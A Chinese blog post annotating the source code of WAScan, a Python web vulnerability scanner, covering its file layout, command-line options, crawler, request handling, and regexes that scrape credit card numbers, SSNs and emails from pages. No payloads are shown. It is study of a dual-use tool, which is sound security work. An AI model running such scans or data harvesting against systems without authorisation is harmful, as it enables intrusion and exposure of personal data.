Chybeta

WAScan源码阅读

WAScan源码阅读

项目地址:https://github.com/m4ll0k/WAScan.git

README

  • python2.7

整体功能

指纹识别

  • cms系统 6
  • web框架 22
  • cookeis/headers安全
  • 开发语言 9
  • 操作系统 7
  • 服务器 all
  • 防火墙 50+

攻击

  • Bash 命令注入
  • SQL盲注
  • 溢出
  • CRLF
  • 头部SQL注入
  • 头部XSS
  • HTML注入
  • LDAP注入
  • 本地文件包含
  • 执行操作系统命令
  • php 代码注入
  • SQL注入
  • 服务器端注入
  • Xpath注入
  • XSS
  • XML注入

检查

  • Apache状态检测
  • 开放跳转
  • phpinfo
  • robots.txt
  • xst

暴力攻击

  • admin面板
  • 后门
  • 备份目录
  • 备份文件
  • 常规目录
  • 常规文件
  • 隐藏参数

信息搜集

  • 信用卡信息
  • 邮箱
  • 私有ip
  • 错误信息
  • ssn

整体结构

类型 作用
dir lib 扩展,攻击用到的一些字典等等
dir plugin 主要攻击脚本
dir screen 一些截图
file .gitignore
file LICENSE 许可证
file README.md 介绍
file wascan.py 主入口文件

所有文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
WAScan
├── lib
│   ├── db
│   │   ├── adminpanel.wascan
│   │   ├── backdoor.wascan
│   │   ├── commondir.wascan
│   │   ├── commonfile.wascan
│   │   ├── errors
│   │   │   ├── buffer.json
│   │   │   ├── ldap.json
│   │   │   ├── lfi.json
│   │   │   └── xpath.json
│   │   ├── openredirect.wascan
│   │   ├── params.wascan
│   │   ├── phpinfo.wascan
│   │   ├── sqldberror
│   │   │   ├── db2.json
│   │   │   ├── firebird.json
│   │   │   ├── frontbase.json
│   │   │   ├── hsqldb.json
│   │   │   ├── informix.json
│   │   │   ├── ingres.json
│   │   │   ├── maccess.json
│   │   │   ├── maxdb.json
│   │   │   ├── mssql.json
│   │   │   ├── mysql.json
│   │   │   ├── oracle.json
│   │   │   ├── postgresql.json
│   │   │   ├── sqlite.json
│   │   │   └── sybase.json
│   │   └── useragent.wascan
│   ├── handler
│   │   ├── attacks.py
│   │   ├── audit.py
│   │   ├── brute.py
│   │   ├── crawler.py
│   │   ├── disclosure.py
│   │   ├── fingerprint.py
│   │   ├── fullscan.py
│   │   └── __init__.py
│   ├── __init__.py
│   ├── parser
│   │   ├── getcc.py
│   │   ├── getip.py
│   │   ├── getmail.py
│   │   ├── getssn.py
│   │   ├── __init__.py
│   │   └── parse.py
│   ├── request
│   │   ├── crawler.py
│   │   ├── __init__.py
│   │   ├── ragent.py
│   │   └── request.py
│   └── utils
│   ├── check.py
│   ├── colors.py
│   ├── dirs.py
│   ├── exception.py
│   ├── __init__.py
│   ├── params.py
│   ├── payload.py
│   ├── printer.py
│   ├── rand.py
│   ├── readfile.py
│   ├── settings.py
│   ├── unicode.py
│   └── usage.py
├── LICENSE
├── plugins
│   ├── attacks
│   │   ├── bashi.py
│   │   ├── blindsqli.py
│   │   ├── bufferoverflow.py
│   │   ├── crlf.py
│   │   ├── headersqli.py
│   │   ├── headerxss.py
│   │   ├── htmli.py
│   │   ├── __init__.py
│   │   ├── ldapi.py
│   │   ├── lfi.py
│   │   ├── oscommand.py
│   │   ├── phpi.py
│   │   ├── sqli.py
│   │   ├── ssi.py
│   │   ├── xpathi.py
│   │   ├── xss.py
│   │   └── xxe.py
│   ├── audit
│   │   ├── apache.py
│   │   ├── __init__.py
│   │   ├── open_redirect.py
│   │   ├── phpinfo.py
│   │   ├── robots.py
│   │   └── xst.py
│   ├── brute
│   │   ├── adminpanel.py
│   │   ├── backdoor.py
│   │   ├── backupdir.py
│   │   ├── backupfile.py
│   │   ├── commondir.py
│   │   ├── commonfile.py
│   │   ├── __init__.py
│   │   └── params.py
│   ├── disclosure
│   │   ├── creditcards.py
│   │   ├── emails.py
│   │   ├── errors.py
│   │   ├── __init__.py
│   │   ├── privateip.py
│   │   └── ssn.py
│   ├── fingerprint
│   │   ├── cms
│   │   │   ├── adobeaem.py
│   │   │   ├── drupal.py
│   │   │   ├── __init__.py
│   │   │   ├── joomla.py
│   │   │   ├── magento.py
│   │   │   ├── plone.py
│   │   │   ├── silverstripe.py
│   │   │   └── wordpress.py
│   │   ├── framework
│   │   │   ├── apachejackrabbit.py
│   │   │   ├── asp_mvc.py
│   │   │   ├── cakephp.py
│   │   │   ├── cherrypy.py
│   │   │   ├── codeigniter.py
│   │   │   ├── dancer.py
│   │   │   ├── django.py
│   │   │   ├── flask.py
│   │   │   ├── fuelphp.py
│   │   │   ├── grails.py
│   │   │   ├── horde.py
│   │   │   ├── __init__.py
│   │   │   ├── karrigell.py
│   │   │   ├── larvel.py
│   │   │   ├── nette.py
│   │   │   ├── phalcon.py
│   │   │   ├── play.py
│   │   │   ├── rails.py
│   │   │   ├── seagull.py
│   │   │   ├── spring.py
│   │   │   ├── symfony.py
│   │   │   ├── web2py.py
│   │   │   ├── yii.py
│   │   │   └── zend.py
│   │   ├── header
│   │   │   ├── cookies.py
│   │   │   ├── header.py
│   │   │   └── __init__.py
│   │   ├── __init__.py
│   │   ├── language
│   │   │   ├── aspnet.py
│   │   │   ├── asp.py
│   │   │   ├── coldfusion.py
│   │   │   ├── flash.py
│   │   │   ├── __init__.py
│   │   │   ├── java.py
│   │   │   ├── perl.py
│   │   │   ├── php.py
│   │   │   ├── python.py
│   │   │   └── ruby.py
│   │   ├── os
│   │   │   ├── bsd.py
│   │   │   ├── ibm.py
│   │   │   ├── __init__.py
│   │   │   ├── linux.py
│   │   │   ├── mac.py
│   │   │   ├── solaris.py
│   │   │   ├── unix.py
│   │   │   └── windows.py
│   │   ├── server
│   │   │   ├── __init__.py
│   │   │   └── server.py
│   │   └── waf
│   │   ├── airlock.py
│   │   ├── anquanbao.py
│   │   ├── armor.py
│   │   ├── asm.py
│   │   ├── aws.py
│   │   ├── baidu.py
│   │   ├── barracuda.py
│   │   ├── betterwpsecurity.py
│   │   ├── bigip.py
│   │   ├── binarysec.py
│   │   ├── blockdos.py
│   │   ├── ciscoacexml.py
│   │   ├── cloudflare.py
│   │   ├── cloudfront.py
│   │   ├── comodo.py
│   │   ├── datapower.py
│   │   ├── denyall.py
│   │   ├── dotdefender.py
│   │   ├── edgecast.py
│   │   ├── expressionengine.py
│   │   ├── fortiweb.py
│   │   ├── hyperguard.py
│   │   ├── incapsula.py
│   │   ├── __init__.py
│   │   ├── isaserver.py
│   │   ├── jiasule.py
│   │   ├── knownsec.py
│   │   ├── kona.py
│   │   ├── modsecurity.py
│   │   ├── netcontinuum.py
│   │   ├── netscaler.py
│   │   ├── newdefend.py
│   │   ├── nsfocus.py
│   │   ├── paloalto.py
│   │   ├── profense.py
│   │   ├── radware.py
│   │   ├── requestvalidationmode.py
│   │   ├── safe3.py
│   │   ├── safedog.py
│   │   ├── secureiis.py
│   │   ├── senginx.py
│   │   ├── sitelock.py
│   │   ├── sonicwall.py
│   │   ├── sophos.py
│   │   ├── stingray.py
│   │   ├── sucuri.py
│   │   ├── teros.py
│   │   ├── trafficshield.py
│   │   ├── urlscan.py
│   │   ├── uspses.py
│   │   ├── varnish.py
│   │   ├── wallarm.py
│   │   ├── webknight.py
│   │   ├── yundun.py
│   │   └── yunsuo.py
│   └── __init__.py
├── README.md
├── screen
│   ├── screen_2.png
│   ├── screen_3.png
│   ├── screen_4.png
│   ├── screen_5.png
│   ├── screen_6.png
│   ├── screen_7.png
│   ├── screen_8.png
│   └── screen.png
└── wascan.py
22 directories, 218 files

入口文件:wascan.py

主入口文件。会先初始化一些Usage,接受命令行参数并进行相关的前期处理。然后根据参数开始进行扫描。

1
2
3
4
5
if __name__ == "__main__":
try:
wascan().main()
except KeyboardInterrupt,e:
exit(warn('Exiting... :('))

定义了一个wascan类,通过getopt.getopt接受命令行参数。对应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
for opt,arg in opts:
# CUrl 检查URL ,并规范化
if opt in ('-u','--url'):url = CUrl(arg)
# CScan 检查scan参数是否符合范围
if opt in ('-s','--scan'):scan = CScan(arg)
# CHeaders 传入参数为字符串,调用该函数解析成dict
if opt in ('-H','--headers'):kwargs['headers'] = CHeaders(arg)
# POST 体的参数
if opt in ('-d','--data'):kwargs['data'] = arg
# 是否进行暴力破解
if opt in ('-b','--brute'):kwargs['brute'] = True
# 指定请求方法
if opt in ('-m','--method'):kwargs['method'] = arg
# 指定 host ,将其值更新到 header头 的 Host字段
if opt in ('-h','--host'):kwargs['headers'].update({'Host':arg})
# 指定 referer,将其值更新到 header头
if opt in ('-R','--referer'):kwargs['headers'].update({'Referer':arg})
# 指定 auth
if opt in ('-a','--auth'):kwargs['auth'] = CAuth(arg)
# 指定 agent
if opt in ('-A','--agent'):kwargs['agent'] = arg
# 指定 cookie
if opt in ('-C','--cookie'):kwargs['cookie'] = arg
# 采用随机的 agent
if opt in ('-r','--ragent'):kwargs['agent'] = ragent()
# 采用代理
if opt in ('-p','--proxy'):kwargs['proxy'] = arg
# 代理是否要认证
if opt in ('-P','--proxy-auth'):kwargs['pauth'] = CAuth(arg)
# 指定超时时间
if opt in ('-t','--timeout'):kwargs['timeout'] = float(arg)
# 对于302情况,是否要跟随,默认为 False不跳转
if opt in ('-n','--redirect'):kwargs['redirect'] = False
# 是否开启指纹识别
if opt in ('-v','--verbose'):verbose = True
# 输出版本信息
if opt in ('-V','--version'):version = Version()
# 输出帮助信息
if opt in ('-hh','--help'):self.usage.basic(True)

scan参数为扫描类型,对应如下:

scan值 扫描类型
0 指纹Fingerprint
1 攻击Attacks
2 审计Audit
3 爆破Brute
4 信息搜集Disclosure
5 全面扫描

对应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class wascan(object):
...省略...
def main(self):
...省略...
scan = "5"
...省略...
try:
# 打印时间和URL
PTIME(url)
if kwargs['brute']:
BruteParams(kwargs,url,kwargs['data']).run()
if scan == 0:
Fingerprint(kwargs,url).run()
if scan == 1:
Attacks(kwargs,url,kwargs['data'])
if scan == 2:
Audit(kwargs,url,kwargs['data'])
if scan == 3:
Brute(kwargs,url,kwargs['data'])
if scan == 4:
Disclosure(kwargs,url,kwargs['data']).run()
# full scan
if int(scan) == 5:
info('Starting full scan module...')
Fingerprint(kwargs,url).run()
for u in Crawler().run(kwargs,url,kwargs['data']):
test('Testing URL: %s'%(u))
if '?' not in url:
warn('Not found query in this URL... Skipping..')
if type(u[0]) is tuple:
kwargs['data'] = u[1]
FullScan(kwargs,u[0],kwargs['data'])
else:
FullScan(kwargs,u,kwargs['data'])
Audit(kwargs,parse.netloc,kwargs['data'])
Brute(kwargs,parse.netloc,kwargs['data'])
except WascanUnboundLocalError,e:
pass

lib/parser 文件夹

主要定义一些匹配模式,用于查找页面上的各种信息。

1
2
3
4
5
6
7
│   ├── parser
│   │   ├── getcc.py
│   │   ├── getip.py
│   │   ├── getmail.py
│   │   ├── getssn.py
│   │   ├── __init__.py
│   │   └── parse.py

信用卡:lib/parser/getcc.py

获取信用卡信息

1
2
3
4
5
def getcc(content):
"""Credit Card"""
CC_LIST = re.findall(r'((^|\s)\d{4}[- ]?(\d{4}[- ]?\d{4}|\d{6})[- ]?(\d{5}|\d{4})($|\s))',content)
if CC_LIST != None or CC_LIST != []:
return CC_LIST

IP:lib/parser/getip.py

获取ip

1
2
3
4
5
def getip(content):
"""Private IP"""
IP_LIST = re.findall(r'[0-9]+(?:\.[0-9]+){3}',content,re.I)
if IP_LIST != None or IP_LIST != []:
return IP_LIST

邮箱:lib/parer/getmail.py

获取邮箱

1
2
3
4
5
def getmail(content):
"""E-mail"""
EMAIL_LIST = re.findall(r'[a-zA-Z0-9.\-_+#~!$&\',;=:]+@+[a-zA-Z0-9-]*\.\w*',content)
if EMAIL_LIST != None or EMAIL_LIST != []:
return EMAIL_LIST

US SSN: lib/parser/getssn.py

1
2
3
4
5
def getssn(content):
"""US Social Security number"""
SSN_LIST = re.findall(r'(((?!000)(?!666)(?:[0-6]\d{2}|7[0-2][0-9]|73[0-3]|7[5-6][0-9]|77[0-2]))-((?!00)\d{2})-((?!0000)\d{4}))',content)
if SSN_LIST != None or SSN_LIST != []:
return SSN_LIST

抓取解析: lib/parser/parse.py

parse类,进行真正的信息搜集工作。定义了clean方法,将响应中的各种标签,各种可能的符号直接replace掉,然后再进行真正的搜索。简单粗暴。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class parse:
def __init__(self,content):
self.content = content
def clean(self):
"""Clean HTML Response"""
self.content = re.sub('<em>','',self.content)
self.content = re.sub('<b>','',self.content)
self.content = re.sub('</b>','',self.content)
self.content = re.sub('<strong>','',self.content)
self.content = re.sub('</strong>','',self.content)
self.content = re.sub('</em>','',self.content)
self.content = re.sub('<wbr>','',self.content)
self.content = re.sub('</wbr>','',self.content)
self.content = re.sub('<li>','',self.content)
self.content = re.sub('</li>','',self.content)
for x in ('>', ':', '=', '<', '/', '\\', ';', '&', '%3A', '%3D', '%3C'):
self.content = string.replace(self.content,x,' ')
def getmail(self):
"""Get Emails"""
self.clean()
return getmail(self.content)
def getip(self):
""" Get IP """
self.clean()
return getip(self.content)
def getcc(self):
""" Get Credit Card"""
self.clean()
return getcc(self.content)
def getssn(self):
""" """
self.clean()
return getssn(self.content)

lib/request 文件夹

主要是定义一些跟请求相关的方法/类/功能

1
2
3
4
5
│   ├── request
│   │   ├── crawler.py
│   │   ├── __init__.py
│   │   ├── ragent.py
│   │   └── request.py

爬虫:lib/request/crawler.py

如名,爬虫。爬取页面上的所有连接。

1
2
3
4
5
6
7
8
9
10
11
try:
from BeautifulSoup import BeautifulSoup
except ImportError:
from bs4 import BeautifulSoup
# 定义了要排除的情况。比如 确定是 7z后缀名,说明是压缩包 而不是网页
EXCLUDED_MEDIA_EXTENSIONS = (
'.7z', '.aac', '.aiff', '.au', '.avi', '.bin', '.bmp', '.cab', '.dll', '.dmp', '.ear', '.exe', '.flv', '.gif',
'.gz', '.image', '.iso', '.jar', '.jpeg', '.jpg', '.mkv', '.mov', '.mp3', '.mp4', '.mpeg', '.mpg', '.pdf', '.png',
'.ps', '.rar', '.scm', '.so', '.tar', '.tif', '.war', '.wav', '.wmv', '.zip'
)

接下来是爬虫类SCrawler,它继承自Request类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
class SCrawler(Request):
""" Simple Crawler """
def __init__(self,kwargs,url,data):
# 父类初始化
Request.__init__(self,kwargs)
# url
self.url = url
# post 的 data体
self.data = data
# 表格?
self.forms = []
# ok 的 链接
self.ok_links = []
# 所有 链接
self.all_links = []
# 协议
self.scheme = urlsplit(url).scheme
# 域名
self.netloc = urlsplit(url).netloc
# 内容 初始化为 空
self.content = None
def run(self):
# send request
resp = self.Send(url=self.url,data=self.data)
# 获取响应内容
self.content = resp.content
# 调用extract解析出相应内容
self.extract
for link in self.all_links:
# 对于 all_links 中的所有链接,包括 绝对URL 、 相对URL
# 调用 absolute(link) 统一为 绝对URL
r_link = self.absolute(link)
if r_link:
# 如果 r_link 还未被收录到 ok_links 中,则添加
if r_link not in self.ok_links:
self.ok_links.append(r_link)
return self.ok_links
@property
# 疑问:<img src="" > 此链接不收取?
def extract(self):
# href 找到页面里所有的 超链接 <a href="http://test/com">test</a>
for tag in self.soup.findAll('a',href=True):
# 添加到 all_links 中
self.all_links.append(tag['href'].split('#')[0])
# src 找到页面里所有的 连接 <frame src=""> <iframe src="">
for tag in self.soup.findAll(['frame','iframe'],src=True):
self.all_links.append(tag['src'].split('#')[0])
# formaction 定位 button 提取formaction <button type="submit" formaction="demo_admin.asp">以管理员身份提交</button>
for tag in self.soup.findAll('button',formaction=True):
self.all_links.append(tag['formaction'])
# extract form
# <form action="demo_form.asp" method="get">
# <input type="text" name="lname" />
# <button type="submit">提交</button><br />
form = self.form()
if form != None and form != []:
if form not in self.all_links:
self.all_links.append(form)
@property
def soup(self):
soup = BeautifulSoup(self.content)
return soup
# 检查link中的 后缀名
def check_ext(self,link):
"""check extension"""
if link not in EXCLUDED_MEDIA_EXTENSIONS:
return link
# 检查是否有定义 method,若无则默认为 GET
def check_method(self,method):
"""check method"""
if method != []:
return "GET"
elif method != []:
return method[0]
# 检查 url 的合法性
# 编码 、空格、 # 等
def check_url(self,url):
"""check url"""
url = unquote_plus(url)
url = url.replace("&amp;","&")
url = url.replace("#","")
url = url.replace(" ","+")
return url
# 检查 action 对应的值
def check_action(self,action,url):
""" check form action """
if action == [] or action[0] == "/":
return self.check_url(url)
elif action != [] and action != "":
if action[0] in url:
self.check_url(url)
else:
return self.check_url(CPath(url+action[0]))
def check_name_value(self,string):
""" check form name and value """
if string == []:
return "TEST"
elif string != []:
return string[0]
# <form action="demo_form.asp" method="get">
# <input type="text" name="lname" />
# <button type="submit">提交</button><br />
def form(self):
""" search forms """
# 搜索表格 加入到 self.forms 中
for form in self.soup.findAll('form'):
if form not in self.forms:
self.forms.append(form)
for form in self.forms:
if form != "" and form != None:
# 调用 extract_form 将 url 从中解析出来
return self.extract_form(str(form),self.url)
# <form action="demo_form.asp" method="get">
# <input type="text" name="lname" />
# <button type="submit">提交</button><br />
def extract_form(self,form,url):
""" extract form """
query = []
action = ""
method = ""
try:
# method
method += self.check_method(findall(r'method=[\'\"](.+?)[\'\"]',form,I))
# action
action += self.check_action((findall(r'method=[\'\"](.+?)[\'\"]',form,I),url))
except Exception,e:
pass
# 寻找form中的参数 ,并保存到 query 中
for inputs in form.split('/>'):
if search(r'\<input',inputs,I):
try:
# name
name = self.check_name_value(findall(r'name=[\'\"](.+?)[\'\"]',inputs,I))
# value
value = self.check_name_value(findall(r'value=[\'\"](.+?)[\'\"]',inputs,I))
name_value = "%s=%s"%(name,value)
if len(query) == 0:query.append(name_value)
if len(query) == 1:query[0] += "&%s"%(name_value)
except Exception,e:
pass
# 根据 method 的不同,组装url
if action:
if method.lower() == "get":
if query != []:
return "%s?%s"%(action,query[0])
return action
elif method.lower() == "post":
if query != []:
return action,query[0]
return action
# 注,这里存在BUG。
# 调用链 form = self.form()
# form() 的返回 return self.extract_form(str(form),self.url)
# extract_form 在 method为 POST 且 query != [] 的情况下 ,
# return action,query[0]
# 会丢失掉 query[0] 即 POST 的参数
# 获取绝对URL
def absolute(self,link):
""" make absolute url """
link = self.check_ext(link)
parts = urlsplit(link)
# urlsplit
scheme = ucode(parts.scheme)
netloc = ucode(parts.netloc)
path = ucode(parts.path) or '/'
query = ucode(parts.query)
# make
if scheme == 'http' or scheme == 'https':
if netloc != "":
if netloc in self.netloc:
return urlunparse((scheme,netloc,path,'',query,''))
#
elif link.startswith('//'):
if netloc != "":
if self.netloc in netloc:
return urlunparse((self.scheme,netloc,(path or '/'),'',query,''))
#
elif link.startswith('/'):
return urlunparse((self.scheme,self.netloc,path,'',query,''))
#
elif link.startswith('?'):
return urlunparse((self.scheme,self.netloc,path,'',query,''))
#
elif link == "" or link.startswith('#'):
return self.url
#
else:
return urlunparse((self.scheme,self.netloc,path,'',query,''))

User Agent: lib/request/ragent.py

生成随机的 User-Agent。命令行选项wascan.py --ragent开启。

1
2
3
4
5
6
7
8
def ragent():
"""random agent"""
user_agents = ()
realpath = path.join(path.realpath(__file__).split('lib')[0],'lib/db/')
realpath += "useragent.wascan"
for _ in readfile(realpath):
user_agents += (_,)
return user_agents[randint(0,len(user_agents)-1)]

请求:lib/requests/request.py

基本请求。包括请求/代理认证,请求,重定向,响应的处理。

两个方法用于请求/代理认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context
# BasicAuthCredentials 用来处理 认证相关的信息
# wascan.py --url xxx --proxy yyy --proxy-auth "root:1234"
# wascan.py --url xxx --auth "admin:1233"
# In [20]: creds = "admin:123"
# In [21]: BasicAuthCredentials(creds)
# Out[21]: ('admin', '123')
def BasicAuthCredentials(creds):
# return tuple
return tuple(
creds.split(':')
)
# wascan.py --url xxx --scan yyy --proxy 10.10.10.10:80
def ProxyDict(proxy):
# return dict
return {
'http' : proxy,
'https' : proxy
}

Request类,发送基本请求,处理头部参数,认证、代理、cookie、超时等问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
class Request(object):
"""docstring for Request"""
# 接受参数
def __init__(self,*kwargs):
self.kwargs = kwargs
# 发送请求
def Send(self,url,method="get",data=None,headers=None):
# make a request
# 提取各项参数 并 保存到 __dict__ ,后期进一步处理
_dict_ = self.kwargs[0] # self.kwargs is a tuple, select [0]
# 获取各项值
auth = None if "auth" not in _dict_ else _dict_["auth"]
agent = None if "agent" not in _dict_ else _dict_["agent"]
proxy = None if "proxy" not in _dict_ else _dict_["proxy"]
pauth = None if "pauth" not in _dict_ else _dict_["pauth"]
cookie = None if "cookie" not in _dict_ else _dict_["cookie"]
timeout = None if "timeout" not in _dict_ else _dict_["timeout"]
redirect = True if "redirect" not in _dict_ else _dict_["redirect"]
_headers_ = None if "headers" not in _dict_ else _dict_["headers"]
_data_ = None if "data" not in _dict_ else _dict_["data"]
_method_ = None if "method" not in _dict_ else _dict_["method"]
# set method
if method:
if _method_ != None:
method = _method_.upper()
else:
method = method.upper()
# set data
if data is None:
if _data_ != None:
data = _data_
else:
data = {}
# if headers == None: headers = {}
if headers is None: headers = {}
# if auth == None: auth = ()
if auth is None: auth = ()
# set request headers
# add user-agent header value
if 'User-Agent' not in headers:
headers['User-Agent'] = agent
# _headers_ add to headers
if isinstance(_headers_,dict):
headers.update(_headers_)
# 处理 认证 、代理
# process basic authentication
if auth != None and auth != ():
if ':' in auth:
authorization = ("%s:%s"%(BasicAuthCredentials(auth))).encode('base64')
headers['Authorization'] = "Basic %s"%(authorization.replace('\n',''))
# process proxy basic authorization
if pauth != None:
if ':' in pauth:
proxy_authorization = ("%s:%s"%(BasicAuthCredentials(pauth))).encode('base64')
headers['Proxy-authorization'] = "Basic %s"%(proxy_authorization.replace('\n',''))
# 处理 超时问题
# process socket timeout
if timeout != None:
socket.setdefaulttimeout(timeout)
# set handlers
# handled http and https
handlers = [urllib2.HTTPHandler(),urllib2.HTTPSHandler()]
# process cookie handler
if 'Cookie' not in headers:
if cookie != None and cookie != "":
headers['Cookie'] = cookie
# handlers.append(HTTPCookieProcessor(cookie))
# process redirect
# 处理是否跳转 , NoRedirectHandler 定义见下
if redirect != True:
handlers.append(NoRedirectHandler)
# process proxies
if proxy:
proxies = ProxyDict(proxy)
handlers.append(urllib2.ProxyHandler(proxies))
# install opener
opener = urllib2.build_opener(*handlers)
urllib2.install_opener(opener)
# process method
# method get
if method == "GET":
if data: url = "%s?%s"%(url,data)
req = urllib2.Request(url,headers=headers)
# other methods
elif method == "POST":
req = urllib2.Request(url,data=data,headers=headers)
# other methods
else:
req = urllib2.Request(url,headers=headers)
req.get_method = lambda : method
# response object
try:
resp = urllib2.urlopen(req)
except urllib2.HTTPError,e:
resp = e
except socket.error,e:
exit(warn('Error: %s'%e))
except urllib2.URLError,e:
exit(warn('Error: %s'%e))
return ResponseObject(resp)

NoRedirectHandler,不进行跳转。

1
2
3
4
5
6
class NoRedirectHandler(urllib2.HTTPRedirectHandler):
"""docstring for NoRedirectHandler"""
def http_error_302(self,req,fp,code,msg,headers):
pass
# http status code 302
http_error_302 = http_error_302 = http_error_302 = http_error_302

响应处理类。获取响应内容,响应url,响应的status_code,响应的头部。

1
2
3
4
5
6
7
8
9
10
11
class ResponseObject(object):
"""docstring for ResponseObject"""
def __init__(self,resp):
# get content
self.content = resp.read()
# get url
self.url = resp.geturl()
# get status code
self.code = resp.getcode()
# get headers
self.headers = resp.headers.dict

lib/utils 文件夹

主要是定义一些小功能、小工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
│   └── utils
│   ├── check.py
│   ├── colors.py
│   ├── dirs.py
│   ├── exception.py
│   ├── __init__.py
│   ├── params.py
│   ├── payload.py
│   ├── printer.py
│   ├── rand.py
│   ├── readfile.py
│   ├── settings.py
│   ├── unicode.py
│   └── usage.py

package标识:lib/utils/init.py

无,跳过

基本检查:lib/utils/check.py

如名,主要进行一些前期的检查准备。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/env python
# -*- coding:utf-8 -*-
#
# @name: Wascan - Web Application Scanner
# @repo: https://github.com/m4ll0k/Wascan
# @author: Momo Outaadi (M4ll0k)
# @license: See the file 'LICENSE.txt'
from re import sub,I,findall
from lib.utils.colors import *
from lib.utils.printer import *
from urlparse import urlsplit,urljoin
from lib.utils.rand import r_string
# CPath 检查路径,用于处理 绝对/相对路径,生成完整路径
# 实际调用 urlparse 的 urljoin
# In [43]: CPath("http://www.google.com/1/aaa.html","bbbb.html")
# Out[43]: 'http://www.google.com/1/bbbb.html'
# In [44]: CPath("http://www.google.com/1/aaa.html","/2/bbbb.html")
# Out[44]: 'http://www.google.com/2/bbbb.html'
# In [45]: CPath("http://www.google.com/1/aaa.html","2/bbbb.html")
# Out[45]: 'http://www.google.com/1/2/bbbb.html'
def CPath(url,path):
return urljoin(url,path)
# 生成随机参数值
# 这段代码存在bug
# In [49]: AParams("test=chybeta")
# ---------------------------------------------------------------------------
# TypeError Traceback (most recent call last)
# <ipython-input-49-103eb92ad1e0> in <module>()
# ----> 1 AParams("test=chybeta")
# /media/chybeta/security/tool/scanner/WAScan/lib/utils/check.py in AParams(params)
# 21 return "%s=%s"%(params,random_string)
# 22 else:
# ---> 23 return "%s%s"%(r_string(10)).upper()
# 24 return params
# 25
# TypeError: not enough arguments for format string
# fix bug:
# return "%s%s"%(params, random_string)
def AParams(params):
random_string = "%s"%(r_string(10)).upper()
if '=' not in params:
return "%s=%s"%(params,random_string)
else:
# 这里如果 = 已经出现在 params 中了
return "%s%s"%(r_string(10)).upper()
return params
# CQuery 拼接 url 和 查询参数 ,主要针对 GET请求
def CQuery(url,params):
# 生成参数值对
params = AParams(params)
# http://test.com/?
if url.endswith('?'):
# 直接加上 参数
return url+params
# 如果不是
elif not url.endswith('?'):
# http://test.com/a&
if url.endswith('&'):
# 也可以直接加上参数
return url+params
# http://test.com/?a=1
elif '?' in url and '&' not in url:
# 需要加上 & 符号
return url+'&'+params
else:
# 其他情况,干脆直接 加 ?
return url+"?"+params
else:
# 这句话多余????
return url+"?"+ params
def CParams(url):
if '&' not in url:
url = sub(findall(r'\?(\S*)\=',url)[0],'%s%s%s'%(GREEN%(1),findall(r'\?(\S*)\=',url)[0],RESET),url)
return url
elif '&' in url:
url = sub(findall(r'\&(\S*)\=',url)[0],'%s%s%s'%(GREEN%(1),findall(r'\&(\S*)\=',url)[0],RESET),url)
return url
else: return url
# url检查,协议
def CUrl(url):
split = urlsplit(url)
# check URL scheme
if split.scheme not in ['http','https','']:
# e.g: exit if URL scheme = ftp,ssh,..etc
exit(less('Check your URL, scheme "%s" not supported!!'%(split.scheme)))
else:
# if URL --> www.site.com
if split.scheme not in ['http','https']:
# return http://www.site.com
return "http://%s"%(url)
else:
return url
# url重组
